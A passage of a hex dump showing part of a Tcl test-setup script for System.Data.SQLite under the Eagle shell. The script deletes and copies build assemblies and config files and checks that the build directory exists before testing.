1e670 61 63 68 20 66 69 6c 65 4e 61 6d 65 20 24 65 78 ach fileName$ex 1e680 74 65 72 6e 61 6c 46 69 6c 65 4e 61 6d 65 73 20 ternalFileNames 1e690 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1e6a0 20 20 20 74 72 79 44 65 6c 65 74 65 42 69 6e 61 tryDeleteBina 1e6b0 72 79 46 69 6c 65 20 24 66 69 6c 65 4e 61 6d 65 ryFile $fileName 1e6c0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1e6d0 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d }.. } 1e6e0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 .... 1e6f0 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 if {![info exist 1e700 73 20 3a 3a 6e 6f 28 64 65 6c 65 74 65 53 71 6c s ::no(deleteSql 1e710 69 74 65 4e 61 74 69 76 65 46 69 6c 65 73 29 5d iteNativeFiles)] 1e720 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1e730 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e if {![in 1e740 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 64 fo exists ::no(d 1e750 65 6c 65 74 65 53 71 6c 69 74 65 49 6d 70 6c 69 eleteSqliteImpli 1e760 63 69 74 46 69 6c 65 73 29 5d 7d 20 74 68 65 6e citFiles)]} then 1e770 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1e780 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c 65 foreach file 1e790 4e 61 6d 65 20 24 6e 61 74 69 76 65 46 69 6c 65 Name$nativeFile 1e7a0 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 Names {.. 1e7b0 20 20 20 20 20 20 20 20 20 20 20 74 72 79 44 65 tryDe 1e7c0 6c 65 74 65 41 73 73 65 6d 62 6c 79 20 24 66 69 leteAssembly $fi 1e7d0 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 20 20 leName.. 1e7e0 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 1e7f0 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.... 1e800 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b if { 1e810 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a ![info exists :: 1e820 6e 6f 28 64 65 6c 65 74 65 53 71 6c 69 74 65 4e no(deleteSqliteN 1e830 6f 6e 49 6d 70 6c 69 63 69 74 46 69 6c 65 73 29 onImplicitFiles) 1e840 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 1e850 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 if {! 1e860 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 1e870 6f 28 64 65 6c 65 74 65 53 71 6c 69 74 65 50 6c o(deleteSqlitePl 1e880 61 74 66 6f 72 6d 46 69 6c 65 73 29 5d 20 26 26 atformFiles)] && 1e890 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1e8a0 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 [string 1e8b0 6c 65 6e 67 74 68 20 24 70 6c 61 74 66 6f 72 6d length$platform 1e8c0 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 1e8d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1e8e0 20 66 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d foreach fileNam 1e8f0 65 20 24 6e 61 74 69 76 65 46 69 6c 65 4e 61 6d e $nativeFileNam 1e900 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 es {.. 1e910 20 20 20 20 20 20 20 20 20 20 74 72 79 44 65 6c tryDel 1e920 65 74 65 41 73 73 65 6d 62 6c 79 20 24 66 69 6c eteAssembly$fil 1e930 65 4e 61 6d 65 20 24 70 6c 61 74 66 6f 72 6d 0d eName $platform. 1e940 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1e950 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 1e960 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 1e970 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 if {! 1e980 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 1e990 6f 28 64 65 6c 65 74 65 53 71 6c 69 74 65 41 72 o(deleteSqliteAr 1e9a0 63 68 69 74 65 63 74 75 72 65 46 69 6c 65 73 29 chitectureFiles) 1e9b0 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 ] && \.. 1e9c0 20 20 20 20 20 20 20 20 20 20 20 20 5b 73 74 72 [str 1e9d0 69 6e 67 20 6c 65 6e 67 74 68 20 24 61 72 63 68 ing length$arch 1e9e0 69 74 65 63 74 75 72 65 5d 20 3e 20 30 7d 20 74 itecture] > 0} t 1e9f0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 1ea00 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 foreach 1ea10 20 66 69 6c 65 4e 61 6d 65 20 24 6e 61 74 69 76 fileName $nativ 1ea20 65 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 eFileNames {.. 1ea30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1ea40 20 20 74 72 79 44 65 6c 65 74 65 41 73 73 65 6d tryDeleteAssem 1ea50 62 6c 79 20 24 66 69 6c 65 4e 61 6d 65 20 24 61 bly$fileName $a 1ea60 72 63 68 69 74 65 63 74 75 72 65 0d 0a 20 20 20 rchitecture.. 1ea70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d } 1ea80 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1ea90 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 }.. 1eaa0 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 1eab0 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 }.... 1eac0 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 if {![info ex 1ead0 69 73 74 73 20 3a 3a 6e 6f 28 64 65 6c 65 74 65 ists ::no(delete 1eae0 53 71 6c 69 74 65 4d 61 6e 61 67 65 64 46 69 6c SqliteManagedFil 1eaf0 65 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 es)]} then {.. 1eb00 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 65 fore 1eb10 61 63 68 20 66 69 6c 65 4e 61 6d 65 20 24 6d 61 ach fileName$ma 1eb20 6e 61 67 65 64 46 69 6c 65 4e 61 6d 65 73 20 7b nagedFileNames { 1eb30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1eb40 20 20 74 72 79 44 65 6c 65 74 65 41 73 73 65 6d tryDeleteAssem 1eb50 62 6c 79 20 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 bly $fileName.. 1eb60 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a }.. 1eb70 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 1eb80 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.... 1eb90 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 1eba0 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 # NOTE: Che 1ebb0 63 6b 20 66 6f 72 20 74 68 65 20 22 61 75 74 6f ck for the "auto 1ebc0 53 65 6c 65 63 74 22 20 72 75 6e 74 69 6d 65 20 Select" runtime 1ebd0 6f 70 74 69 6f 6e 2e 20 20 49 66 20 70 72 65 73 option. If pres 1ebe0 65 6e 74 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 ent,.. 1ebf0 23 20 20 20 20 20 20 20 61 74 74 65 6d 70 74 20 # attempt 1ec00 74 6f 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 to automatically 1ec10 20 73 65 6c 65 63 74 20 74 68 65 20 66 69 72 73 select the firs 1ec20 74 20 61 76 61 69 6c 61 62 6c 65 0d 0a 20 20 20 t available.. 1ec30 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 62 # b 1ec40 75 69 6c 64 20 28 6f 72 20 22 72 65 6c 65 61 73 uild (or "releas 1ec50 65 22 29 20 6f 66 20 53 51 4c 69 74 65 20 61 6e e") of SQLite an 1ec60 64 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 d System.Data.SQ 1ec70 4c 69 74 65 0d 0a 20 20 20 20 20 20 20 20 20 20 Lite.. 1ec80 23 20 20 20 20 20 20 20 66 6f 72 20 75 73 65 20 # for use 1ec90 77 69 74 68 20 74 68 65 20 74 65 73 74 20 73 75 with the test su 1eca0 69 74 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ite... 1ecb0 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 #.. if 1ecc0 7b 5b 68 61 73 52 75 6e 74 69 6d 65 4f 70 74 69 {[hasRuntimeOpti 1ecd0 6f 6e 20 61 75 74 6f 53 65 6c 65 63 74 5d 7d 20 on autoSelect]} 1ece0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1ecf0 20 20 20 20 69 66 20 7b 21 5b 63 68 65 63 6b 46 if {![checkF 1ed00 6f 72 53 51 4c 69 74 65 42 75 69 6c 64 73 20 24 orSQLiteBuilds$ 1ed10 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 74 ::test_channel t 1ed20 72 75 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 rue]} then {.. 1ed30 20 20 20 20 20 20 20 20 20 20 20 20 63 68 65 63 chec 1ed40 6b 46 6f 72 53 51 4c 69 74 65 52 65 6c 65 61 73 kForSQLiteReleas 1ed50 65 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e es $::test_chann 1ed60 65 6c 20 74 72 75 65 0d 0a 20 20 20 20 20 20 20 el true.. 1ed70 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 1ed80 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 }.... 1ed90 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 #.. # 1eda0 4e 4f 54 45 3a 20 53 6b 69 70 20 74 72 79 69 6e NOTE: Skip tryin 1edb0 67 20 74 6f 20 76 65 72 69 66 79 20 74 68 65 20 g to verify the 1edc0 62 75 69 6c 64 20 64 69 72 65 63 74 6f 72 79 20 build directory 1edd0 69 66 20 69 6e 73 74 72 75 63 74 65 64 3b 0d 0a if instructed;.. 1ede0 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 1edf0 20 20 6f 74 68 65 72 77 69 73 65 2c 20 6d 61 6b otherwise, mak 1ee00 65 20 73 75 72 65 20 69 74 20 61 63 74 75 61 6c e sure it actual 1ee10 6c 79 20 65 78 69 73 74 73 20 6f 72 20 68 61 6c ly exists or hal 1ee20 74 20 74 68 65 20 65 6e 74 69 72 65 0d 0a 20 20 t the entire.. 1ee30 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1ee40 74 65 73 74 69 6e 67 20 70 72 6f 63 65 73 73 20 testing process 1ee50 69 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 65 if it does not e 1ee60 78 69 73 74 2e 0d 0a 20 20 20 20 20 20 20 20 20 xist... 1ee70 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 #.. if 1ee80 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 {![info exists 1ee90 3a 3a 6e 6f 28 76 65 72 69 66 79 42 75 69 6c 64 ::no(verifyBuild 1eea0 44 69 72 65 63 74 6f 72 79 29 5d 7d 20 74 68 65 Directory)]} the 1eeb0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1eec0 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 #.. 1eed0 23 20 4e 4f 54 45 3a 20 41 74 20 74 68 69 73 20 # NOTE: At this 1eee0 70 6f 69 6e 74 2c 20 74 68 65 20 62 75 69 6c 64 point, the build 1eef0 20 64 69 72 65 63 74 6f 72 79 20 4d 55 53 54 20 directory MUST 1ef00 65 78 69 73 74 20 61 73 20 61 0d 0a 20 20 20 20 exist as a.. 1ef10 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1ef20 76 61 6c 69 64 20 64 69 72 65 63 74 6f 72 79 20 valid directory 1ef30 66 6f 72 20 74 68 65 20 74 65 73 74 69 6e 67 20 for the testing 1ef40 70 72 6f 63 65 73 73 20 74 6f 20 63 6f 6e 74 69 process to conti 1ef50 6e 75 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 nue... 1ef60 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 #.. 1ef70 20 73 65 74 20 64 69 72 65 63 74 6f 72 79 20 5b set directory [ 1ef80 67 65 74 42 75 69 6c 64 44 69 72 65 63 74 6f 72 getBuildDirector 1ef90 79 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 y].... 1efa0 20 20 69 66 20 7b 21 5b 66 69 6c 65 20 65 78 69 if {![file exi 1efb0 73 74 73 20 24 64 69 72 65 63 74 6f 72 79 5d 20 sts$directory] 1efc0 7c 7c 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 || \.. 1efd0 20 20 20 20 20 20 21 5b 66 69 6c 65 20 69 73 64 ![file isd 1efe0 69 72 65 63 74 6f 72 79 20 24 64 69 72 65 63 74 irectory $direct 1eff0 6f 72 79 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ory]} then {.. 1f000 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 #.. 1f010 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 4e # N 1f020 4f 54 45 3a 20 4a 75 73 74 20 70 72 69 6f 72 20 OTE: Just prior 1f030 74 6f 20 61 63 74 75 61 6c 6c 79 20 68 61 6c 74 to actually halt 1f040 69 6e 67 20 74 68 65 20 74 65 73 74 69 6e 67 20 ing the testing 1f050 70 72 6f 63 65 73 73 2c 0d 0a 20 20 20 20 20 20 process,.. 1f060 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1f070 61 64 64 20 61 6e 20 65 72 72 6f 72 20 74 6f 20 add an error to 1f080 74 68 65 20 74 65 73 74 20 6c 6f 67 20 66 69 6c the test log fil 1f090 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 e... 1f0a0 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 #.. 1f0b0 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs$::test 1f0c0 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 1f0d0 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 1f0e0 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 "---- 1f0f0 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 could not verify 1f100 20 62 75 69 6c 64 20 64 69 72 65 63 74 6f 72 79 build directory 1f110 20 5c 22 22 20 24 64 69 72 65 63 74 6f 72 79 20 \"" $directory 1f120 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1f130 20 20 20 20 20 22 5c 22 2c 20 61 6c 6c 20 74 65 "\", all te 1f140 73 74 69 6e 67 20 68 61 6c 74 65 64 5c 6e 22 5d sting halted\n"] 1f150 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 .... 1f160 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 #.. 1f170 20 20 20 23 20 4e 4f 54 45 3a 20 52 61 69 73 69 # NOTE: Raisi 1f180 6e 67 20 61 20 73 63 72 69 70 74 20 65 72 72 6f ng a script erro 1f190 72 20 66 72 6f 6d 20 74 68 69 73 20 70 6f 69 6e r from this poin 1f1a0 74 20 73 68 6f 75 6c 64 20 68 61 6c 74 0d 0a 20 t should halt.. 1f1b0 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 20 # 1f1c0 20 20 20 20 20 74 68 65 20 74 65 73 74 69 6e 67 the testing 1f1d0 20 70 72 6f 63 65 73 73 2e 0d 0a 20 20 20 20 20 process... 1f1e0 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 #.. 1f1f0 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 20 error 1f200 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 1f210 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1f220 20 22 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 "could not veri 1f230 66 79 20 62 75 69 6c 64 20 64 69 72 65 63 74 6f fy build directo 1f240 72 79 20 5c 22 22 20 24 64 69 72 65 63 74 6f 72 ry \""$director 1f250 79 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 y \.. 1f260 20 20 20 20 20 20 20 22 5c 22 2c 20 61 6c 6c 20 "\", all 1f270 74 65 73 74 69 6e 67 20 68 61 6c 74 65 64 22 5d testing halted"] 1f280 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d .. }. 1f290 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a . }.... 1f2a0 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 1f2b0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 # NOTE: S 1f2c0 6b 69 70 20 74 72 79 69 6e 67 20 74 6f 20 63 6f kip trying to co 1f2d0 70 79 20 61 6e 79 20 66 69 6c 65 73 20 69 66 20 py any files if 1f2e0 69 6e 73 74 72 75 63 74 65 64 2e 0d 0a 20 20 20 instructed... 1f2f0 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1f300 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 if {![info e 1f310 78 69 73 74 73 20 3a 3a 6e 6f 28 63 6f 70 79 53 xists ::no(copyS 1f320 71 6c 69 74 65 46 69 6c 65 73 29 5d 7d 20 74 68 qliteFiles)]} th 1f330 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 1f340 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 if {![info exi 1f350 73 74 73 20 3a 3a 6e 6f 28 63 6f 70 79 53 71 6c sts ::no(copySql 1f360 69 74 65 43 6f 6e 66 69 67 46 69 6c 65 73 29 5d iteConfigFiles)] 1f370 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1f380 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 foreach 1f390 66 69 6c 65 4e 61 6d 65 20 24 63 6f 6e 66 69 67 fileName $config 1f3a0 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 FileNames {.. 1f3b0 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 try 1f3c0 43 6f 70 79 42 75 69 6c 64 46 69 6c 65 20 24 66 CopyBuildFile$f 1f3d0 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 20 ileName.. 1f3e0 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1f3f0 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 1f400 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 if {![inf 1f410 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 63 6f o exists ::no(co 1f420 70 79 53 71 6c 69 74 65 45 78 74 65 72 6e 61 6c pySqliteExternal 1f430 46 69 6c 65 73 29 5d 7d 20 74 68 65 6e 20 7b 0d Files)]} then {. 1f440 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 . # 1f450 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1f460 23 20 4e 4f 54 45 3a 20 43 6f 70 79 20 74 68 65 # NOTE: Copy the 1f470 20 4d 61 6e 61 67 65 64 20 44 65 62 75 67 67 69 Managed Debuggi 1f480 6e 67 20 41 73 73 69 73 74 61 6e 74 73 20 28 4d ng Assistants (M 1f490 44 41 29 20 63 6f 6e 66 69 67 75 72 61 74 69 6f DA) configuratio 1f4a0 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 n.. 1f4b0 20 23 20 20 20 20 20 20 20 66 69 6c 65 20 66 6f # file fo 1f4c0 72 20 74 68 65 20 45 61 67 6c 65 20 73 68 65 6c r the Eagle shel 1f4d0 6c 20 74 6f 20 74 68 65 20 62 75 69 6c 64 20 6f l to the build o 1f4e0 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 2c utput directory, 1f4f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1f500 23 20 20 20 20 20 20 20 77 68 69 6c 65 20 75 73 # while us 1f510 69 6e 67 20 65 61 63 68 20 6f 66 20 74 68 65 20 ing each of the 1f520 6e 61 6d 65 73 20 6f 66 20 74 68 65 20 76 61 72 names of the var 1f530 69 6f 75 73 20 6c 65 67 61 63 79 20 74 65 73 74 ious legacy test 1f540 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1f550 23 20 20 20 20 20 20 20 65 78 65 63 75 74 61 62 # executab 1f560 6c 65 73 2e 20 20 54 68 69 73 20 77 69 6c 6c 20 les. This will 1f570 68 65 6c 70 20 74 6f 20 6d 61 6b 65 20 73 75 72 help to make sur 1f580 65 20 74 68 61 74 20 61 6c 6c 20 74 68 65 0d 0a e that all the.. 1f590 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 # 1f5a0 20 20 20 20 20 20 6c 65 67 61 63 79 20 74 65 73 legacy tes 1f5b0 74 73 20 72 75 6e 20 77 69 74 68 20 65 78 61 63 ts run with exac 1f5c0 74 6c 79 20 74 68 65 20 73 61 6d 65 20 73 65 74 tly the same set 1f5d0 20 6f 66 20 4d 61 6e 61 67 65 64 0d 0a 20 20 20 of Managed.. 1f5e0 20 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 # 1f5f0 20 20 20 44 65 62 75 67 67 69 6e 67 20 41 73 73 Debugging Ass 1f600 69 73 74 61 6e 74 73 20 63 6f 6e 66 69 67 75 72 istants configur 1f610 65 64 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 ed... 1f620 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 1f630 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c 65 foreach file 1f640 4e 61 6d 65 20 24 6d 64 61 43 6f 6e 66 69 67 46 Name $mdaConfigF 1f650 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 ileNames {.. 1f660 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 43 tryC 1f670 6f 70 79 42 69 6e 61 72 79 46 69 6c 65 20 45 61 opyBinaryFile Ea 1f680 67 6c 65 53 68 65 6c 6c 2e 65 78 65 2e 6d 64 61 gleShell.exe.mda 1f690 2e 63 6f 6e 66 69 67 20 22 22 20 24 66 69 6c 65 .config ""$file 1f6a0 4e 61 6d 65 0d 0a 20 20 20 20 20 20 20 20 20 20 Name.. 1f6b0 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 1f6c0 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1f6d0 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 1f6e0 43 6f 70 79 20 74 68 65 20 65 78 74 65 72 6e 61 Copy the externa 1f6f0 6c 20 62 69 6e 61 72 69 65 73 2c 20 69 66 20 61 l binaries, if a 1f700 6e 79 2c 20 74 6f 20 74 68 65 20 64 69 72 65 63 ny, to the direc 1f710 74 6f 72 79 20 74 68 61 74 0d 0a 20 20 20 20 20 tory that.. 1f720 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 # 1f730 20 63 6f 6e 74 61 69 6e 73 20 74 68 65 20 45 61 contains the Ea 1f740 67 6c 65 20 73 68 65 6c 6c 2e 20 20 54 68 69 73 gle shell. This 1f750 20 69 73 20 74 79 70 69 63 61 6c 6c 79 20 75 73 is typically us 1f760 65 64 20 74 6f 20 6d 61 6b 65 0d 0a 20 20 20 20 ed to make.. 1f770 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 1f780 20 20 73 75 72 65 20 61 73 73 65 6d 62 6c 69 65 sure assemblie 1f790 73 20 72 65 66 65 72 65 6e 63 65 64 20 62 79 20 s referenced by 1f7a0 74 68 65 20 6f 6e 65 73 20 62 65 69 6e 67 20 74 the ones being t 1f7b0 65 73 74 65 64 20 61 72 65 0d 0a 20 20 20 20 20 ested are.. 1f7c0 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 # 1f7d0 20 61 76 61 69 6c 61 62 6c 65 20 64 75 72 69 6e available durin 1f7e0 67 20 74 68 65 20 74 65 73 74 69 6e 67 20 70 72 g the testing pr 1f7f0 6f 63 65 73 73 2e 0d 0a 20 20 20 20 20 20 20 20 ocess... 1f800 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 1f810 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 66 foreach f 1f820 69 6c 65 4e 61 6d 65 20 24 65 78 74 65 72 6e 61 ileName $externa 1f830 6c 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 lFileNames {.. 1f840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 tr 1f850 79 43 6f 70 79 45 78 74 65 72 6e 61 6c 46 69 6c yCopyExternalFil 1f860 65 20 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 e$fileName.. 1f870 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 }.. 1f880 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.... 1f890 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 if {! 1f8a0 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 1f8b0 6f 28 63 6f 70 79 53 71 6c 69 74 65 4e 61 74 69 o(copySqliteNati 1f8c0 76 65 46 69 6c 65 73 29 5d 7d 20 74 68 65 6e 20 veFiles)]} then 1f8d0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1f8e0 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 #.. 1f8f0 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 74 68 65 # NOTE: If the 1f900 20 74 65 73 74 20 70 6c 61 74 66 6f 72 6d 20 69 test platform i 1f910 73 20 6c 69 6b 65 6c 79 20 74 68 65 20 64 65 66 s likely the def 1f920 61 75 6c 74 20 66 6f 72 20 74 68 69 73 0d 0a 20 ault for this.. 1f930 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 20 # 1f940 20 20 20 20 20 6d 61 63 68 69 6e 65 2c 20 61 6c machine, al 1f950 73 6f 20 74 72 79 20 74 6f 20 63 6f 70 79 20 74 so try to copy t 1f960 68 65 20 6e 61 74 69 76 65 20 66 69 6c 65 73 20 he native files 1f970 74 6f 20 74 68 65 0d 0a 20 20 20 20 20 20 20 20 to the.. 1f980 20 20 20 20 20 20 23 20 20 20 20 20 20 20 62 69 # bi 1f990 6e 61 72 79 20 6c 6f 63 61 74 69 6f 6e 2e 0d 0a nary location... 1f9a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d #. 1f9b0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 . i 1f9c0 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 f {![info exists 1f9d0 20 3a 3a 6e 6f 28 63 6f 70 79 53 71 6c 69 74 65 ::no(copySqlite 1f9e0 49 6d 70 6c 69 63 69 74 46 69 6c 65 73 29 5d 20 ImplicitFiles)] 1f9f0 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 && \.. 1fa00 20 20 20 20 20 20 20 20 5b 69 73 44 65 66 61 75 [isDefau 1fa10 6c 74 42 75 69 6c 64 50 6c 61 74 66 6f 72 6d 20 ltBuildPlatform 1fa20 74 72 75 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 true]} then {.. 1fa30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 f 1fa40 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d 65 20 oreach fileName 1fa50 24 6e 61 74 69 76 65 46 69 6c 65 4e 61 6d 65 73 $nativeFileNames 1fa60 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1fa70 20 20 20 20 20 20 74 72 79 43 6f 70 79 41 73 73 tryCopyAss 1fa80 65 6d 62 6c 79 20 24 66 69 6c 65 4e 61 6d 65 0d embly$fileName. 1fa90 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1faa0 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 }.. 1fab0 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 }.... 1fac0 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 if {![info 1fad0 65 78 69 73 74 